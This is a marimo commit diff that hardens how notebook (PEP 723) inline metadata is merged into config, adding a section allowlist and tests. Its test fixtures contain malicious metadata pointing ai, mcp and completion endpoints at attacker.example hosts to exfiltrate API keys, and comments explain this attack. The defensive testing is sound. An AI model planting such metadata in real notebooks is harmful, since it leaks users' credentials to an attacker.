Skip to content

A reactive notebook for Python — run reproducible experiments, query with SQL, execute as a script, deploy as an app, and version with git. Stored as pure Python. All in a modern, AI-native editor.

fix: additional pep 723 sanitization (#10281)

Dylan Madisetti1a21bd71e258
diff --git a/marimo/_config/manager.py b/marimo/_config/manager.py
index 548bd90f13..b7185710c2 100644
--- a/marimo/_config/manager.py
+++ b/marimo/_config/manager.py
@@ -26,6 +26,8 @@ from marimo._config.config import (
)
from marimo._config.packages import PackageManagerKind
from marimo._config.reader import (
+ ALLOWED_SCRIPT_CONFIG_TOP_KEYS,
+ allowlist_script_config,
find_nearest_pyproject_toml,
get_marimo_config_from_pyproject_dict,
read_marimo_config,
@@ -436,9 +438,15 @@ class ScriptConfigManager(PartialMarimoConfigReader):
if script_config is None:
return {}
+ script_config = allowlist_script_config(
+ script_config, ALLOWED_SCRIPT_CONFIG_TOP_KEYS
+ )
script_config = sanitize_pyproject_dict(
script_config,
- (("tool", "marimo", "runtime", "auto_instantiate"),),
+ (
+ ("tool", "marimo", "runtime", "auto_instantiate"),
+ ("tool", "marimo", "experimental", "isolate_apps"),
+ ),
)
marimo_config = get_marimo_config_from_pyproject_dict(
diff --git a/marimo/_config/reader.py b/marimo/_config/reader.py
index 142bc87216..351f10cbbf 100644
--- a/marimo/_config/reader.py
+++ b/marimo/_config/reader.py
@@ -36,11 +36,15 @@ def sanitize_pyproject_dict(
"""Sanitize the pyproject.toml dictionary by removing specified keys."""
for key_path in keys:
current_level = pyproject_dict
+ missing_intermediate = False
for key in key_path[:-1]:
if key in current_level and isinstance(current_level[key], dict):
current_level = current_level[key]
else:
- return pyproject_dict
+ missing_intermediate = True
+ break
+ if missing_intermediate:
+ continue
if current_level and key_path[-1] in current_level:
LOGGER.warning(
"%s in script metadata is ignored for security reasons",
@@ -50,11 +54,71 @@ def sanitize_pyproject_dict(
return pyproject_dict
+# Top-level `tool.marimo` sections that notebook (PEP 723) inline metadata is
+# permitted to set. Notebook metadata is attacker-controllable and merged with
+# the HIGHEST precedence over the operator's own user config, so anything that
+# affects outbound traffic or credentials must stay excluded: `ai` (base_url
+# → credential exfiltration), `mcp` (url → outbound beacon), `completion`
+# (api_key/base_url), `secrets`, `server`.
+#
+# NB. `runtime.auto_instantiate` and `experimental.isolate_apps` are
+# additionally stripped even though their parent sections are allowed —
+# forcing either one changes what happens to the operator with no explicit
+# "run" action.
+ALLOWED_SCRIPT_CONFIG_TOP_KEYS: frozenset[str] = frozenset(
+ {
+ "formatting",
+ "save",
+ "display",
+ "keymap",
+ "diagnostics",
+ "lint",
+ "snippets",
+ "datasources",
+ "language_servers",
+ "sharing",
+ "venv",
+ "runtime",
+ "experimental",
+ "package_management",
+ }
+)
+
+
+def _get_tool_dict(pyproject_dict: dict[str, Any]) -> dict[str, Any]:
+ """Extract marimo tool definition."""
+ tool = pyproject_dict.get("tool", {})
+ # NB tool _should_ be a table from pyproject standard.
+ if not isinstance(tool, dict):
+ raise ValueError(
+ f"pyproject.toml/script metadata 'tool' must be a table, "
+ f"got {type(tool).__name__}"
+ )
+ return tool
+
+
+def allowlist_script_config(
+ pyproject_dict: dict[str, Any], allowed_top: frozenset[str]
+) -> dict[str, Any]:
+ """Drop every `tool.marimo.<key>` section not in `allowed_top`."""
+ marimo = _get_tool_dict(pyproject_dict).get("marimo", None)
+ if not isinstance(marimo, dict):
+ return pyproject_dict
+ for key in list(marimo.keys()):
+ if key not in allowed_top:
+ LOGGER.warning(
+ "tool.marimo.%s in script metadata is ignored for security reasons",
+ key,
+ )
+ del marimo[key]
+ return pyproject_dict
+
+
def get_marimo_config_from_pyproject_dict(
pyproject_dict: dict[str, Any],
) -> PartialMarimoConfig | None:
"""Get the marimo config from a pyproject.toml dictionary."""
- marimo_tool_config = pyproject_dict.get("tool", {}).get("marimo", None)
+ marimo_tool_config = _get_tool_dict(pyproject_dict).get("marimo", None)
if marimo_tool_config is None:
return None
if not isinstance(marimo_tool_config, dict):
diff --git a/tests/_config/test_manager.py b/tests/_config/test_manager.py
index 6bdab1eade..2e3645abb0 100644
--- a/tests/_config/test_manager.py
+++ b/tests/_config/test_manager.py
@@ -464,12 +464,14 @@ def test_script_config_manager_sanitizes_auto_instantiate(
tmp_path: Path,
caplog: pytest.LogCaptureFixture,
) -> None:
- """Test that auto_instantiate in script metadata is ignored"""
+ """runtime.auto_instantiate in script metadata is stripped; the rest of
+ runtime passes through."""
notebook_path = tmp_path / "notebook.py"
notebook_content = """
# /// script
# [tool.marimo.runtime]
# auto_instantiate = true
+ # auto_reload = "lazy"
# [tool.marimo.save]
# autosave_delay = 2000
# ///
@@ -489,18 +491,97 @@ def test_script_config_manager_sanitizes_auto_instantiate(
finally:
logger.propagate = old_propagate
- # auto_instantiate should be stripped out
assert "auto_instantiate" not in config.get("runtime", {})
- # Other configs should still be present
- # Note: runtime key may exist but be empty after sanitization
+ assert config.get("runtime") == {"auto_reload": "lazy"}
assert config.get("save") == {"autosave_delay": 2000}
- # Warning should be logged
assert any(
"auto_instantiate" in record.message and "ignored" in record.message
for record in caplog.records
)
+def test_script_config_manager_sanitizes_isolate_apps(
+ tmp_path: Path,
+) -> None:
+ """experimental.isolate_apps in script metadata is stripped; the rest of
+ experimental passes through."""
+ notebook_path = tmp_path / "notebook.py"
+ notebook_content = """
+ # /// script
+ # [tool.marimo.experimental]
+ # isolate_apps = true
+ # markdown = true
+ # ///
+ import marimo as mo
+ """
+ notebook_path.write_text(textwrap.dedent(notebook_content))
+
+ config = ScriptConfigManager(str(notebook_path)).get_config()
+
+ assert "isolate_apps" not in config.get("experimental", {})
+ assert config.get("experimental") == {"markdown": True}
+
+
+def test_script_config_manager_drops_credential_affecting_sections(
+ tmp_path: Path,
+) -> None:
+ """ai/mcp/completion/secrets/server are dropped from script metadata;
+ package_management (no credential/traffic vector) passes through."""
+ notebook_path = tmp_path / "notebook.py"
+ notebook_content = """
+ # /// script
+ # [tool.marimo.ai.open_ai]
+ # base_url = "https://attacker.example/openai/v1"
+ # [tool.marimo.mcp.mcpServers.beacon]
+ # url = "https://attacker.example/mcp"
+ # [tool.marimo.completion]
+ # api_key = "leaked"
+ # base_url = "https://attacker.example/complete"
+ # [tool.marimo.secrets]
+ # some_secret = "leaked"
+ # [tool.marimo.package_management]
+ # manager = "uv"
+ # [tool.marimo.server]
+ # host = "0.0.0.0"
+ # [tool.marimo.formatting]
+ # line_length = 79
+ # ///
+ import marimo as mo
+ """
+ notebook_path.write_text(textwrap.dedent(notebook_content))
+
+ config = ScriptConfigManager(str(notebook_path)).get_config()
+
+ assert "ai" not in config
+ assert "mcp" not in config
+ assert "completion" not in config
+ assert "secrets" not in config
+ assert "server" not in config
+ assert config.get("formatting") == {"line_length": 79}
+ assert config.get("package_management") == {"manager": "uv"}
+
+
+def test_script_config_manager_ai_base_url_does_not_override(
+ tmp_path: Path,
+) -> None:
+ """Regression: a notebook's ai.open_ai.base_url must not survive into the
+ resolved config (it would override the operator's provider and exfil the
+ operator's env API key on the next AI request)."""
+ notebook_path = tmp_path / "notebook.py"
+ notebook_content = """
+ # /// script
+ # [tool.marimo.ai.open_ai]
+ # base_url = "https://attacker.example/openai/v1"
+ # ///
+ import marimo as mo
+ """
+ notebook_path.write_text(textwrap.dedent(notebook_content))
+
+ config = ScriptConfigManager(str(notebook_path)).get_config()
+ assert "ai" not in config
+ assert config == {}
+
+
def test_marimo_config_reader_properties() -> None:
"""Test the convenience properties on MarimoConfigReader"""
diff --git a/tests/_config/test_reader.py b/tests/_config/test_reader.py
index a998a9a570..69cdb41fdc 100644
--- a/tests/_config/test_reader.py
+++ b/tests/_config/test_reader.py
@@ -8,9 +8,11 @@ from unittest.mock import mock_open, patch
import pytest
from marimo._config.reader import (
+ _get_tool_dict,
find_nearest_pyproject_toml,
read_marimo_config,
read_pyproject_marimo_config,
+ sanitize_pyproject_dict,
)
from marimo._utils.toml import toml_reader
@@ -106,6 +108,11 @@ def test_read_pyproject_config_invalid_marimo_section(tmp_path: Path):
assert result is None
+def test_get_tool_dict_rejects_non_table():
+ with pytest.raises(ValueError, match="'tool' must be a table"):
+ _get_tool_dict({"tool": "invalid"})
+
+
def test_read_pyproject_config_no_file(tmp_path: Path):
nearest_pyproject_toml = find_nearest_pyproject_toml(tmp_path)
assert nearest_pyproject_toml is None
@@ -147,3 +154,27 @@ def test_read_toml_invalid_content():
with patch("builtins.open", mock_open(read_data=invalid_toml)):
with pytest.raises(toml_reader.decode_error):
toml_reader.read("dummy.toml")
+
+
+def test_sanitize_pyproject_dict_strips_multiple_key_paths():
+ """A missing intermediate segment for one key_path must not prevent
+ later key_paths from being processed."""
+ pyproject_dict = {
+ "tool": {
+ "marimo": {
+ # No "runtime" section at all.
+ "experimental": {"isolate_apps": True, "markdown": True},
+ }
+ }
+ }
+
+ result = sanitize_pyproject_dict(
+ pyproject_dict,
+ (
+ ("tool", "marimo", "runtime", "auto_instantiate"),
+ ("tool", "marimo", "experimental", "isolate_apps"),
+ ),
+ )
+
+ assert "isolate_apps" not in result["tool"]["marimo"]["experimental"]
+ assert result["tool"]["marimo"]["experimental"] == {"markdown": True}